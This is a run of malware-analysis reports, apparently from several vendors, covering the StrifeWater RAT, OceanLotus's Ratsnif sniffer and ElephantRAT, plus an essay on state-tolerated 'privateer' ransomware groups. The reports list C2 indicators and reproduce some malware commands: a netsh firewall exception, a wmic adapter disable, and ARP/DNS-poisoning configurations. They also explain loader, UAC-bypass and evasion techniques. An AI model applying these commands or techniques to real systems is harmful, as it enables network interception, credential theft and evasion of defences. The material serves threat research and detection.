and an additional URL that have yet been observed in use: - techzenspace[.]com - RVP/index3.php At the beginning of execution, the StrifeWater RAT collects profiling data about the infected machine in order to create a unique token for that device. The data used to create the token are: - Machine name - User name - OS version - Architecture - Time zone - User privileges The string displayed in the image above is then XORed with a hard coded key and combined with an additional hard coded string in order to create the token. The same key (“9c4arSBr32g6IOni”) is used to encrypt all commands that are sent and received from the C2. ### StrifeWater RAT Key Commands The StrifeWater RAT receives various commands from the C2, including: - Listing system files - Executing shell commands using cmd.exe - Taking screen captures - Creating a scheduled task for persistence named: “Mozilla\Firefox Default Browser Agent 409046Z0FF4A39CB” - Downloading an updated version of the RAT - Self deletion - Downloading files to the infected machine - Updating the sleep time responses of the malware (the default is 20 - 22 seconds) ### Auxiliary Modules The StrifeWater RAT has the capability to download different modules based on the command received, although the functionality of these other modules are not known at the time of writing this report. The available extensions are named: - mainfunc - Ah13 - mkb64 - strt In case the command to download the extension “strt” is received and the extension is already loaded, the RAT will send to the C2 the contents of a file named: “C:\users\public\libraries\async.dat”. This file probably contains data that is related to the functionality of the extension “strt”. ### C2 Communication Parameters The StrifeWater RAT appears to distinguish between the type of data that is being sent to the C2 by the parameter “name” that is being sent in the packet to the C2. The parameter can be any value between “name0” to “name12”: | Parameter | Data Sent | |-----------|-----------| | name0 | signal that a command is executing | | name1 | first communication with the C2 | | name2 | sending a list of system files | | name3 | cmd shell command output | | name4 | sending a screen capture | | name5 | confirmation that a file has been downloaded | | name6 | sending the output of the extension “mainfunc” | | name7 | sending the “async.dat” file | | name8 | unknown | | name9 | request to download a file (update/extension) | | name10 | confirmation that the sleep time was updated successfully | | name11 | sending the output of the "mkb64" extension | | name12 | unknown | ## Conclusion In this report, the Cybereason Nocturnus Team analyzed a previously unknown RAT dubbed StrifeWater that is being used in targeted ransomware attacks, carried out by the Iranian APT group Moses Staff. The StrifeWater RAT is suspected to be one of the main tools that are used to create a foothold in victim environments, and appears to only be used in the earlier stages of the attack. Our analysis suggests that the Moses Staff operators make conscious efforts to stay under the radar and avoid detection until the last phase of the attack when they deploy and execute their ransomware payload. Furthermore, our research shows that the Moses Staff modus operandi includes attempts to masquerade its arsenal as legitimate Windows software along with the removal of their initial persistence and reconnaissance tools. This tactic helps to prevent investigators from discovering the full flow of the attack and thus the StrifeWater RAT remained undetected. Moses Staff’s goals seem aligned with Iran’s cyber warfare doctrine, seeking to sabotage government, military, and civilian organizations related to its geopolitical opponents. Unlike criminal cybercrime groups that use ransomware to coerce their victims to pay a ransom fee, it is assessed that the Moses Staff group will leak sensitive information without demanding a ransom fee, and it was previously assessed that their goals are political in nature. The emergence of new PyDcrypt malware samples further shows that the Iranian APT group Moses Staff is still active and continues its nefarious activities and development of its attack arsenal. The Cybereason XDR Platform detects and blocks the StrifeWater RAT and other advanced TTPs used in this operation. Cybereason is dedicated to teaming with defenders to end attacks on the endpoint, across enterprise, to everywhere the battle is taking place. ## MITRE ATT&CK BREAKDOWN | Reconnaissance | Execution | Persistence | Defense Evasion | |----------------|-----------|-------------|------------------| | Gather Victim Host Information | Command-line interface | Scheduled Task/Job | Indicator Removal on Host | | Gather Victim Identity Information | | | Masquerading | | Discovery | Collection | Command and Control | | | File and Directory Discovery | Screen Capture | Data Encoding | Data Encrypted for Impact | ## About the Researcher **TOM FAKTERMAN** Tom Fakterman, Cyber Security Analyst with the Cybereason Nocturnus Research Team, specializes in protecting critical networks and incident response. Tom has experience in researching malware, computer forensics and developing scripts and tools for automated cyber investigations. ## Indicators of Compromise | StrifeWater RAT **PyDcrypt** 29a08031c4debc7f91ca8efb40b7858c9aafc3ed **StrifeWater RAT** 76a35d4087a766e2a5a06da7e25ef76a8314ec84 5cacfad2bb7979d7e823a92fb936c5929081e691 **Domains** techzenspace[.]com **IP Addresses** 87.120.8[.]210 **URIs** /RVP/index8.php /RVP/index3.php ## About the Author **Cybereason Nocturnus** The Cybereason Nocturnus Team has brought the world’s brightest minds from the military, government intelligence, and enterprise security to uncover emerging threats across the globe. They specialize in analyzing new attack methodologies, reverse-engineering malware, and exposing unknown system vulnerabilities. The Cybereason Nocturnus Team was the first to release a vaccination for the 2017 NotPetya and Bad Rabbit cyberattacks.
# Threat Spotlight: Ratsnif - New Network Vermin from OceanLotus **The BlackBerry Cylance Threat Research Team** **RESEARCH & INTELLIGENCE / 07.01.19** ## Overview The OceanLotus Group (aka APT32, CobaltKitty) is using a suite of remote access trojans dubbed "Ratsnif" to leverage new network attack capabilities. Blackberry Cylance threat researchers have analyzed the Ratsnif trojans, which offer a veritable swiss-army knife of network attack techniques. The trojans, under active development since 2016, combine capabilities like packet sniffing, gateway/device ARP poisoning, DNS poisoning, HTTP injection, and MAC spoofing. We delved into four distinct Ratsnif samples, three of them developed in 2016, the fourth created during the latter half of 2018. ### Sample 1 - **MD5**: 516ad28f8fa161f086be7ca122351edf - **SHA256**: b4e3b2a1f1e343d14af8d812d4a29440940b99aaf145b5699dfe277b5bfb8405 - **Filename**: javaw.exe, Client.exe - **Path**: X:\Project\BotFrame\Debug\Client.exe - **Size**: 1.32 MB (1,387,520 bytes) - **File Type**: PE32 executable for MS Windows (console) Intel 80386 32-bit - **Compile Time**: 2016-08-05 07:57:13 **Overview** The earliest example of Ratsnif uncovered thus far was compiled on the same day that its C2 domain was first activated. It appears to be a debug build and closely resembles a later variant from September 2016 that will be the main focus of analysis for the three 2016 variants described in this article. ### Sample 2 - **MD5**: b2f8c9ce955d4155d466fbbb7836e08b - **SHA256**: b214c7a127cb669a523791806353da5c5c04832f123a0a6df118642eee1632a3 - **Filename**: javaw.exe, Client.exe - **Path**: X:\Project\BotFrame\Debug\Client.exe - **Size**: 1.32 MB (1,387,520 bytes) - **File Type**: PE32 executable for MS Windows (console) Intel 80386 32-bit - **Compile Time**: 2016-08-06 04:30:06 **Overview** Compiled less than 24 hours after the previous sample, this build contains only one minor difference in functionality, whereby a call to `pcap_dump_flush()` has been removed prior to recompilation. Both samples were submitted to VirusTotal within a minute of being compiled and contain the same path as the PDB information. It seems likely this sample was automatically submitted to an online scanning service by the developer. ### Sample 3 - **MD5**: 7f0ac1b4e169edc62856731953dad126 - **SHA256**: b20327c03703ebad191c0ba025a3f26494ff12c5908749e33e71589ae1e1f6b3 - **Filename**: javaw.exe, adobe.exe - **Path**: N/A - **Size**: 432 KB (442,880 bytes) - **File Type**: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows - **Compile Time**: 2016-09-13 09:26:42 **Overview** Remarkably similar in functionality to the previous samples from August 2016, this sample is a release build and was likely one of the earlier Ratsnifs to be deployed by OceanLotus in-the-wild. ### Threat Features - C2 over HTTP - Packet sniffing - ARP poisoning - DNS spoofing - HTTP redirection - Remote shell ### Analysis Upon execution, Ratsnif creates a run once mutex named "onceinstance", initializes Winsock version 2.2, and harvests system information such as the username, computer name, workstation configuration (via NetWkstaGetInfo API), Windows system directory, and network adapter information. This information will then be sent to the attacker's C2 server via an HTTP post to the `/cl_client_online.php` API endpoint. Next, a logging thread is created, which is used to route log messages to the C2 via HTTP POST requests to `/cl_client_logs.php`. The malware then proceeds to load `wpcap.dll`, before importing the following functions: - `pcap_sendqueue_transmit` - `pcap_findalldevs` - `pcap_freealldevs` - `pcap_open_live` - `pcap_sendqueue_alloc` - `pcap_next_ex` - `pcap_sendqueue_queue` - `pcap_sendpacket` - `pcap_close` - `pcap_sendqueue_destroy` - `pcap_dump_open` - `pcap_dump_ftell` - `pcap_dump_flush` - `pcap_dump_close` - `pcap_dump` With WinPcap successfully loaded, a further HTTP POST request is made to `/cl_client_cmd.php`, which is used to obtain a command code from the attacker. This code will check for commands every 10 seconds. C2 commands are decrypted using AES with a hard-coded static key via Windows APIs, before being dispatched by a simple command processor. ### C2 All observed Ratsnif samples have been hardcoded with one or more C2 domains, regardless of whether they are used. This sample contains 2 hard-coded domains, although only one appears to have ever been active: - `search[.]webstie[.]net` - `dns[.]domain-resolve[.]org` (inactive) The C2 server itself is expected to expose a fairly intuitively named web API, supporting the following endpoints: - `/cl_client_online.php`: POST containing harvested system information - `/cl_client_cmd.php`: GET C2 command - `/cl_client_cmd_res.php`: POST result of C2 command - `/cl_client_logs.php`: POST log message ### Sample 4 - **MD5**: 88eae0d31a6c38cfb615dd75918b47b1 - **SHA256**: 7fd526e1a190c10c060bac21de17d2c90eb2985633c9ab74020a2b78acd8a4c8 - **Filename**: N/A - **Path**: N/A - **Size**: 745 KB (762,880 bytes) - **File Type**: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows - **Compile Time**: Wed, 08 Aug 2018 02:52:52 UTC **Overview** Surfacing during the latter half of 2018 and wrapped in a bespoke OceanLotus shellcode loader, this sample was first reported in a blog from Macnica Networks. Compared to the 2016 variants, this sample introduces a configuration file and does not rely on C2 for operation. It also adds new features in the form of HTTP injection, protocol parsing, and SSL hijacking. ### Threat Features - Deployed by OceanLotus loader - Use of separately supplied configuration file, tailored to the victim’s network environment - Use of separately supplied SSL certificates to perform SSL hijacking - Use of WolfSSL library (version 3.11) for decryption of SSL traffic - Use of `http_parser.c` for parsing HTTP traffic - Packet sniffing focused on extracting login credentials and other sensitive data via protocol parsing - ARP poisoning - DNS spoofing - HTTP redirection - HTTP injection ### Analysis For this particular sample, the actual sniffer executable is Base64 encoded within a loader DLL and wrapped in two layers of shellcode. The loader DLL decodes the payload, copies it to memory, and executes the 1st stage shellcode, which will decompress the binary and execute the 2nd stage shellcode in a separate thread. The 2nd stage shellcode will inject the sniffer executable into memory and hook several API functions responsible for returning the process command line, so they return a hardcoded string instead. The string contains the parameter that specifies a path to the config file, as well as the executable’s original path: ``` C:\Users\Administrator\Desktop\api\temp\royal\HkYh9CvH7.exe -p C:\ProgramData\setting.cfg ``` The configuration file is a simple text file, Base64 encoded, where the first line is ignored, and each subsequent line specifies a parameter. For example: ``` [unused_line] -ip [ATTACKER IP ADDRESS] -ga [DEFAULT GATEWAY] -subnet [SUBNET MASK] -sniff -ssl_ip [IP ADDRESS] -html_inject [BROWSER PROCESS NAME] -dlog_ip [IP ADDRESS] -mac [ATTACKER MAC ADDRESS] "true"|"false" -name [DOMAIN NAME] [REDIRECTION IP] -all -dnsttl [INT VALUE] -log [LOGFILE PATH] -pass [CREDENTIALS DUMP PATH] -dwn_ip ``` However, there is a bug in parsing the value of the `dwn_ip` parameter, which will result in a memory read violation if the value is present in the configuration. Once executed, the sniffer will read the configuration from the specified file, decode it using Base64, and parse it to an in-memory structure. If the `-sniff` parameter is specified in the configuration, the malware will add a firewall exception and disable Large Send Offload (LSO) for each network adapter in the registry: ``` netsh advfirewall firewall add rule name="Core Networking - Router Solicitation" dir=in action=allow program={self_path} enable=yes wmic path win32_networkadapter where index=%d call disable ``` After importing the same APIs from `wpcap.dll` as the 2016 variants (with the addition of `pcap_geterr`), the malware creates threads responsible for ARP poisoning and DNS spoofing. In order to be able to decrypt the SSL traffic, the malware performs SSL hijacking, using an open-source library called WolfSSL and separately supplied certificate and private key files. For that purpose, it creates an internal WolfSSL server, listening on the first available port in the range 65000 – 65535. Unlike the 2016 variants of Ratsnif that stored all packets to a PCAP file, the 2018 variant employs multiple sniffer classes for harvesting sensitive information from packets. This will minimize the amount of data the attacker has to collect, exfiltrate, and process, and also reveals what information the attacker is interested in. The malware can sniff traffic for the following protocols/ports: - **CSniffFtp**: 21, 990 - **CSniffImap**: 143, 993 - **CSniffLdap**: 389, 636, 10389, 10636 - **CSniffNntp**: 119 - **CSniffPop**: 110, 995 - **CSniffSmb**: 445 - **CSniffSmtp**: 25, 465 - **CSniffTds**: 1433 - **CSniffTelnet**: 23 - **SniffHttp2**: 80, 443 Each sniffer class interface contains two methods for extracting sensitive information from the incoming and outgoing packets, respectively. These typically rely on searching for cleartext header strings to facilitate credential theft. ### C2 Although this sample contains a Base64 encoded C2 URL hardcoded in the .rdata section (the same address as in the 2016 versions), the malware never seems to use it; instead, it logs the captured information into text files for further exfiltration by another module. ### Example To recreate conditions in which the sample would operate, a default gateway was configured on 192.168.8.135 and was running iNetSim to act as the DNS and HTTP servers. The attacker machine was located at 192.168.8.134 and the victim at 192.168.8.138. Ratsnif was configured to operate as follows: ``` TEST CONFIG -ip "192.168.8.134" -ga "192.168.8.135" -subnet "255.255.255.0" -sniff -ssl_ip "192.168.8.254" -html_inject "iexplore.exe" -dlog_ip "192.168.8.254" -mac "00:0C:29:59:62:46" "true" -name "www.google.com" "192.168.8.135" -dnsttl "100" -log "C:\ratsnif.log" -pass "C:\ratsnif.pcap" -dwn_ip ``` Once it has MAC addresses for all machines on the subnet, Ratsnif will then send unsolicited ARP packets to those addresses, updating the MAC address of the default gateway for each victim. Once the ARP table is poisoned, all traffic destined for the default gateway will be routed through Ratsnif and can be stored and manipulated prior to retransmission. ### C2 - **search.webstie.net** ### Whois - **Server**: whois.web4africa.net - **Registrar**: WEB4AFRICA INC - **Email**: [email protected] - **Name**: Domain Admin, C/O ID#10760 - **Organization**: Privacy Protection Service INC d/b/a PrivacyProtect.org - **Street**: PO Box 16 - **City**: Nobby Beach - **State**: Queensland - **Postal**: QLD 4218 - **Country**: AUSTRALIA - **Phone**: 4536946676 - **NameServers**: ns21.cloudns.net, ns22.cloudns.net, ns23.cloudns.net, ns24.cloudns.net ### History Obtained via Shodan, this history shows when the C2 server exposed various ports, including HTTP, SMB, and RDP, for the purpose of controlling Ratsnif and other OceanLotus malware. ### Conclusions Ratsnif is an intriguing discovery considering the length of time it has remained undetected, likely due to limited deployment. It offers a rare glimpse of over two years of feature development, allowing us to observe how threat actors tailor tooling to their nefarious purposes. While all samples borrow heavily from open-source code/snippets, overall development quality is deemed to be poor. Simply put, Ratsnif does not meet the usual high standards observed in OceanLotus malware. ### Appendix #### Indicators of Compromise (IOCs) - **SHA256**: b4e3b2a1f1e343d14af8d812d4a29440940b99aaf145b5699dfe277b5bfb8405 - Ratsnif - **SHA256**: b214c7a127cb669a523791806353da5c5c04832f123a0a6df118642eee1632a3 - Ratsnif - **SHA256**: b20327c03703ebad191c0ba025a3f26494ff12c5908749e33e71589ae1e1f6b3 - Ratsnif - **SHA256**: 7fd526e1a190c10c060bac21de17d2c90eb2985633c9ab74020a2b78acd8a4c8 - Ratsnif - **Mutex**: onceinstance - **Domain**: search[.]webstie[.]net - C2 - **IP**: 66.85.185.126 - **Domain**: dns[.]domain-resolve[.]org - C2 - **PDB Path**: X:\Project\BotFrame\Debug\Client.pdb - **File**: ntdata.tmp - Packet capture output - **Windows Firewall Rule**: Core Networking - Router Solicitation ### MITRE - **Tactic**: Discovery - **ID**: T1040 - Network Sniffing - **Tactic**: Command and Control - **ID**: T1043 - Commonly Used Port - **ID**: T1065 - Uncommonly Used Port - **ID**: T1001 - Data Obfuscation - **Tactic**: Impact - **ID**: T1493 - Transmitted Data Manipulation **The BlackBerry Cylance Threat Research Team** **About The BlackBerry Cylance Threat Research Team** The BlackBerry Cylance Threat Research team examines malware and suspected malware to better identify its abilities, function, and attack vectors. Threat Research is on the frontline of information security and often deeply examines malicious software, which puts us in a unique position to discuss never-seen-before threats.
# Elizabethan England has nothing on modern-day Russia This post was authored by Warren Mercer and Vitor Ventura. The threat landscape is changing. Organizations need to defend against an ever-evolving tranche of threat actors. For a long time, the lines that distinguish state-sponsored and crimeware groups were well-defined. We believe this is no longer the case. In today's landscape, there are groups that, although their modus operandi (MO) is consistent with crimeware groups, act like state-sponsored groups. This poses new challenges to defending organizations as these groups become more prevalent and dangerous, which, depending on the organization's risk profile, may require more attention. In light of recent events, we believe it's time to recognize that a new category can be defined, one where the ransomware syndicates enjoy some kind of protection from governments, even if not intentionally. Therefore, Talos proposes the term "privateers" to describe actors who benefit either from government decisions to turn a blind eye toward their activities or from more material support, but where the government doesn't necessarily exert direct control over their actions. This does not diminish the responsibility these governments share with these groups by protecting them or simply allowing them to operate by turning a blind eye. ## State-related threats It's easy to split state-related actors into two main categories: ones that have been directly associated with state structures, like the U.S.'s National Security Agency, APT28, APT29, APT1, and the ones that, despite not being directly associated with a specific state, there is a common agreement in the infosec community that they benefit from decisions that the state makes to support them. The first kind of groups (tier one) usually have motivations that are not monetary, and as such, they don't have a monetization scheme. They typically have small infrastructure, which is completely destroyed once the campaign ends or is somehow exposed. These groups try to make their operations as stealthy as possible and don't want to attract attention to themselves. In specific operations like SolarWinds, CCleaner, or VPNFilter, they act as stealthily as possible in the preparation/reconnaissance stage, knowing that the final act will probably expose them, hoping to execute as much of their agenda as possible before exposure happens. As one example of the second category (tier two), look at Gamaredon (or Armageddon or Arma, as some know them). The group is complex, originating from Ukraine in the wake of Russia's annexation of Crimea. They are not part of the traditional Russian intelligence apparatus, but we have high confidence that much of the intelligence they gather from their operations is passed to Russian interests. In this case, we have a state-related threat that isn’t an element of the sponsoring state but receives active support and direction from that state sponsor. Gamaredon does not pinpoint their victims; quite the opposite, they target large swaths of users. Their infrastructure is massive—they have hundreds of domains—and they do not significantly change their malware or infrastructure despite being exposed. However, they share the non-deterrence aspect of the tier one groups. There are two other categories that are state-related: "Mercenary" groups that a state can hire to perform specific actions and "privateer" groups we detail in the next section. Mercenary groups can often fall into the first tier of state-related categories based on the exact campaign they're asked to carry out, so we will not be detailing those here. ## The "Privateer" groups Privateer groups are not sponsored directly by a state and are financially motivated, but they do benefit from direct or indirect protection from that state. This frequently manifests as a lack of law enforcement action, even when requested through normal channels by other countries. The protecting state doesn't receive direct benefit from these groups, but it is shielded from their activities, which frequently target the geopolitical adversaries of the protecting state. There is also the possibility that the protecting state may pressure the privateer group to engage in specific actions or target specific entities. The only other kind of actors that have this level of protection are the ones that operate directly on a state structure. For example, actors the U.S. Department of Justice charged for a cyber attack on credit reporting agency Equifax had direct connections to China's People's Liberation Army PLA 54th Research Institute. The DOJ has carried out other indictments against state-sponsored actors including the Lazarus Group, a North Korean citizen involved in the WannaCry incident, and the six GRU officers involved in several cases of computer hacking. DarkSide could be considered one such "privateer" group. This ransomware family, which was recently responsible for targeting a major oil pipeline in the U.S., checks the target's keyboard configuration to avoid any user whose keyboard is in the Cyrillic language. Lockbit could also be considered a privateer group, given that an operator for that group told Talos that they would not target Russia or any Russian-allied countries. It is worth noting that, historically, no ransomware operator has ever been detained in any of the Commonwealth of Independent Countries (CIS) as long as they don't target its member states. However, if a ransomware group targets any of these countries, they will be investigated and taken down. An example of one such group is Lurk, which was linked to the Angler exploit kit. The operator behind Lurk was arrested in Russia after the group targeted Russian banks. These groups usually fall in the crimeware category; however, we propose that they are not simple crimeware gangs. These are highly organized groups, with a plethora of support services they provide to their affiliates. Their operations and lack of deterrence from their home state make them a persistent threat to the community. This cannot be said for typical spammers or ordinary password stealers. "Privateers" are in the "big game hunting" space, exfiltrating hundreds of gigabytes of information. This indicates a certain level of sophistication. Although they don't stack up to top-tier state-sponsored groups, "privateer" groups are far more sophisticated than regular crimeware groups and should be identified as such. ## "Privateer" groups criteria Since we are introducing a new classification, we felt it appropriate to outline what makes a group a "privateer" in Talos' eyes. We have decided on the following criteria to identify when a group should be considered a privateer. There may be other considerations, but at a minimum, we believe the following must be met: 1. Benefit from, either directly or indirectly, state protection and/or tolerance. 2. The country does not cooperate with foreign law enforcement, intelligence services, or offer extradition. 3. Big-game hunting victimology, i.e., large enterprise or governmental organizations. 4. It must have a sophisticated organization, i.e., has affiliates or third parties involved. 5. Potential for societal disturbance. We are aware that some groups may not specifically check every box here, and there is potential for this criteria to change. The privateer group should remain exclusive to actors who meet the aforementioned criteria. ## Conclusions The term "APT" has a broad meaning that's being used in more loose terms nowadays. This term often includes the state-sponsored groups. However, we believe state-sponsored should be referred to as state-related and be split into three distinct categories: ones working on behalf of specific state organizations, ones closely related to state actors but with no clear organization affiliation and with no apparent financial motivation, and, finally, ones that are not directly related to state organizations but benefit from state protection, directly or indirectly. The first tier includes actors like the Lazarus Group (aka APT38), a state-sponsored actor carrying out attacks for direct gains for a nation-state. The second tier includes groups like Gamaredon and PROMETHIUM. These groups don't seem to be directly linked to state organizations but are believed to work for states. These don't share the same level of sophistication as prime APTs but are not primarily financially motivated. Finally, we have groups like the DarkSide syndicate that we are referring to as "privateers." Privateers benefit from a certain level of state protection or acceptance without any real links to the states. These privateer groups are becoming increasingly prevalent and will likely significantly change the threat landscape in the years to come.
# ElephantRAT (Kunming version): Our Latest Discovered RAT of Panda and the Similarities with Recently Smanager RAT Recently, ESET published a report on a supply chain attack targeting software company BigNox, taking advantage of the update mechanism of the NoxPlayer software - an Android emulator on PC and Mac. This software is used by many gamers in Vietnam as well as all over the world. ESET has named this campaign Operation NightScout. With the assessment that Vietnam can also have many people infected due to a large number of users, we have begun to investigate and analyze further. Based on the hashes of the samples provided by ESET, we have not only re-analyzed them but also dug deeper. We found many points that ESET did not mention in their report. At the same time, we have found a number of similarities and relationships between these samples and those used in the last campaign against the Vietnam Government Certification Authority as well as a large Vietnamese corporation that we already mentioned. Not only that, we have discovered a new RAT, which is named ElephantRat. “昆明版本” means “Kunming version.” In those samples, we focus on the E45A5D9B03CFBE7EB2E90181756FDF0DD690C00C sample and analyze through to embedded PE(s) and execute fileless in memory to the very end. Looking for similarities in the binary pattern, we discovered another pattern that is being used by hackers recently, similar to the one used in our attack on large corporations in Vietnam. Because the hacker does not use much C++ in OOP Style, the main tool we use is still IDA and the following main plugins: FindCrypt3, SusanRTTI, LazyIDA. Sample E45A5D9B03CFBE7EB2E90181756FDF0DD690C00C (SHA-1), in ESET report is UpdatePackageSilence.exe, has: - MD5 = 06AF27C0F47837FB54490A8FE8332E04 - SHA-256 = E76567A61F905A2825262D5F653416EF88728371A0A2FE75DDC53AAD100E6F46 - Compiler time: Wednesday, 26.08.2020 08:39:20 UTC It is the first stage in the infection chain. The way to code, execute, and behavior is like VVSup.exe mentioned in the previous blog post. The sample is compiled using Visual Studio 2008 (Linker version 9.00). In particular, this file has a very large overlay data at the end of PE, offset 0x45800. This Exe file is also an MFC Dialog application, except that it uses MFC version 9.0 which is included in Visual Studio 2008 (VVSup uses MFC ver 4.2, included in Visual Studio 6), ANSI mode. The Visual Studio that the hacker used is the Chinese version, so all default resource items that MFC Wizard automatically generates are in Chinese. Dialog 30721 is the MFC's default "New Item" Dialog, the StringTable ID from 60000 is also the default resource string ID of MFC. The hacker randomly entered the About Wizard named Exe and version number. The dialog that the hacker added was reset to English. Main Dialog has ID = 102, About Dialog has ID = 100. Control IDs 1 and 2 are the default MFC Wizard generates, which are IDOK and IDCANCEL. Buttons 3 (ID_ABORT), 4 (ID_RETRY), 5 (ID_IGNORE) are added by the hacker. We need to notice Button ID_ABORT 3. The main icon of the app (ID 1) is used by the hacker using the icons that installers often use. SusanRTTI gives us the class flowchart of the app. Using LazyIDA's Search features, with CSkinMfcApp and CSkinMfcDlg, we just found this one link from China, which mentions skin dialog creation technique for MFC app. With the addition of the CRgn class, we can believe that hackers took this entire project and made a few changes. The execution mechanism of a dialog-type MFC app, we released in the previous blog post, you can review but in this blog post, we just focus on the main point. In the OnInitDialog method of CSkinMfcDlg, the hacker has changed the call to the main infection task and added code: - Resize Dialog to 0 - Hide Dialog - Change the style of Dialog to not show the Windows Taskbar - Post WM_COMMAND to Button ID 3 - Hackers are also careful to simulate adding user left mouse to click on Button ID 3 At the AFX_MSGMAP of CSkinMfcDlg, we found the function that performs the primary infection task. When ExtractAndLoadOverlayDll is called, the hacker will first check if the app has read permission to the Windows\System32 directory and check if the clb.dll file exists. Clb.dll is a Windows file - Column ListBox. Then the hacker opens the Exe, reads the Overlay data at offset 0x45800 and xor with 0xA0 to decrypt the PE file which is a DLL. It will then manually load this DLL to memory, starting a long series of manually load fileless PE. At this ManualLoadDll function, we discovered a hacker programming error. Specifically, Malloc does not have free and wrong code: malloc(sizeof(PE_LOADER_INFO)) (16 bytes) to malloc(sizeof(pLdrInfo)) (4 bytes). The PE_LOADER_INFO struct that we renamed, including 4 data members, size is 16 bytes. About values 0xBAADFOOD and 0xABABABAB ... of VC RTL and Windows Heap Manager, you can read more here. The functions that manually (reflective) load overlay Dll functions are compiled into a shellcode array of bytes, embedded in the .data section, and have a total size of 0xA9E. Start at the address of the LoaderProc function: .data:00440830. 0xA95 is the RVA of constant 0x12345678, which will be overwritten by the memory contents of the variable pLdrInfo after being saved by malloc, sizeof(pointer) = 4 (x86). The first byte of the LoaderProc function will be modified to 0x55 = push ebp. GetLoaderApiAddrs function retrieves the API addresses from kernel32.dll and ntdll.dll into a struct containing pointers to those API functions. The algorithm used to calculate the hash value from the exported API name is ROR13, which is commonly used in Metasploit. Readers can use the plugin shellcode_hashes_search_plugin.py in FireEye's Flare_ida toolkit to automatically determine the name of the API function, select the hash function ror13AddHash32AddDll. This struct has been redefined as follows: The remarkable point is the manual/reflective load feature is used directly with Ntdll.dll native functions, not through kernel32 functions. This is possible to avoid detection by the AV/EDR hook kernel32.dll. And it also goes with other samples and later fileless PE(s). The code of ReflectiveLoadDll is similar to the other manually load/reflective open source. We will not talk about it again. Searching on Github, Google, and VirusTotal for GetLoaderApiAddrs function, we found no such function. So we think this is a manually/reflectively load library that this group wrote themselves and didn't use any open source. At this point, the Overlay Dll has been loaded and the execution flows directly into the OEP of the Dll. The parent exe does not exit immediately like VVSup.exe; the fileless child dlls will call ExitProcess or TerminateProcess later. We temporarily move to another sample that the ESET report mentioned has SHA1 = 5732126743640525680C1F9460E52D361ACF6BB0. This sample was compiled using Visual Studio 2012, built on 11/16.2020 08:35:32 UTC, also an MFC app, however no longer a Dialog app but a Doc - View app, using new MFC Ribbon classes. As a result, the amount of code and classes are bigger, and it is possible that the first stage uses the latest MFC of this group. Hackers no longer rely on extrac32.exe to extract embedded Cab files, but write a CCabinet class using Cabinet API functions available from Windows to unpack. PDB path = "C:\Users\enWin7x64\Desktop\XActor\CreateServer_src\XActorCreateServer\DATA_RES\CommandoLoader\mfeesp\Release\mfeesp.pdb". The executable code that extracts two cab files from the resource is written directly into the InitInstance function of the CmfeespApp class. And LBTServ.dll malware file is extracted from the cab file is a Dll, written in Delphi and built using Embarcadero's latest RAD Studio 10.4 Sydney. This could be a shift to another language, compiler/IDE for future malware development of this group. For the purposes and scope of this article, we do not present these samples. Back on the above Dll overlay, after extracting, we have a DLL with the following information: - Size = 557,056 bytes - MD5 = 054E07CB00E9B21786E2815E9B43CDA9 - SHA256 = 8BF3DF654459B1B8F553AD9A0770058FD2C31262F38F2E8BA12943F813200A4D - Compile time: Monday, 17.08.2020 09:56:11 UTC - Visual Studio 6 There is no PDB path and export, so the original DLL name could not be determined. The size of the .data section is large; after running FindCrypt3, we found that there were large data. All the main tasks of this Dll reside entirely within the DllMain function. When DllMain is called with fdwReason other than DLL_PROCESS_ATTACH, the hacker checks whether the Dll can OpenProcess with System Process (PID = 4) with the highest permissions 0x1F0FFF or not. If OpenProcess succeeds, it will return TRUE and do nothing next. Then the hacker reads from the parent Exe, uses the MemSearch function as in VVSup.exe to find and extract the C&C information and save it into a file C:\ProgramData/resmon.resmoncfg. The small difference is that VVSup uses MemSearch to get the C&C info from the parent to write in the child's Dll. And here is the Dll child search back from the parent Exe. Write C&C info to resmon.resmoncfg file. Byte array is the mask for searching is “3F 3E 2F 1E 7F 7E 6F 2E 1F 1E 00 03 3F 3E 2F 4E”. File size of resmon.resmoncfg file is 1550 bytes, copy the content from mask offset + 47. Hackers also use the MakeSureDirectoryPathExists export function from dbghelp.dll to create directory, same as VVSup, and also use a lot of global variables, strings, and arrays. There is a lot of redundant code such as getting CreationTime, LastAccessTime, LastWriteTime of the csrss.exe file system that is not used, and initializing unused strings. Create Sandboxie directory, attribute hidden and system. Dll continues to unpack embedded data in DLL into files: SbieIni.dat, SbieDll.dll, SandboxieBITS.exe and saves them into C:\ProgramData\Sandboxie. The compression and decompression algorithm that hackers use here is the LZMA algorithm. LZMA's SDK can be downloaded and referenced here. The LZMA algorithm identifier used is LZMA_PROPS_SIZE = 5 and the first 8 bytes of the struct CLzmaProps at the beginning of the data compressed. The uncompressed function, the size of the compressed data is passed in minus 4, the size value of the uncompressed data region DWORD immediately preceded the data compressed. But especially the hacker has changed in the code of this LZMA algorithm, so if we statically extract these compressed data areas according to the above information then when decompressing with 7z or tool, lib will normally error, but it is still possible to extract the first area of the correct data compared to the results when debugging and dumping. Using this custom LZMA compression algorithm, we also found in a new sample SManager RAT plugin, uploaded to the first VirusTotal on 23/01/2021: - MD5 = 0603145EFAD6A63F52B6D5161CC5E5AE - SHA256 = 321045519CC3A50CE7948C33C6BBC837B063CD878F8C2CE67DC8DE0825515E10 - File name: SuperShellC_x86.dll In this DLL file, the CSuperShellC class has the task of extracting an embedded Exe, the original name is ssh_server.exe. This LZMA algorithm continues to be improved by hackers, so with static dump we could not open, we had to debug and dump it. Return to Overlay Dll, after extracting 3 files x86 files into C:\ProgramData\Sandboxie folder, Dll continues to check if itself has write permissions to the System32 directory and target Windows operating system is x64 or not. If all is passed, Dll will extract two additional files SbieMsg.dll and SbieMsg.dat into that directory. At the HavePermission function, the hacker will create a random file in System32, the first name is wmkawe_ and the content is only one line of text: "Stupid Japanese." In addition, the hacker also checks to see if there are two files with the same random name wmkawe_xxx.data in the two folders: "%LOCALAPPDATA%\VirtualStore\Windows\System32\" and "%LOCALAPPDATA%\VirtualStore\Windows\SysWOW64\", if any, it will be deleted. The function will check in the targeted machine OS is Windows; the hacker doesn't use the usual IsWow64Process API function, but uses the GetNativeSystemInfo API function. After extracting two more files SbieMsg.dat and SbieMsg.dll, Dll will load SbieMsg.dll by using rundll32.exe utility of Windows, call the exported function is "installsvc", pass the parameter as "ByPassUAC." If it's not Windows x64, SandboxieBITS.exe will be called with the parameter "ByPassUAC" as well. And if there is no write permission to System32, the Dll just calls SandboxieBITS.exe with the parameter "InsertS." Finally, Dll will create a bat file to delete parent Exe itself and the bat file itself and then exit parent Exe. The SelfDelete execute cmd.exe function in 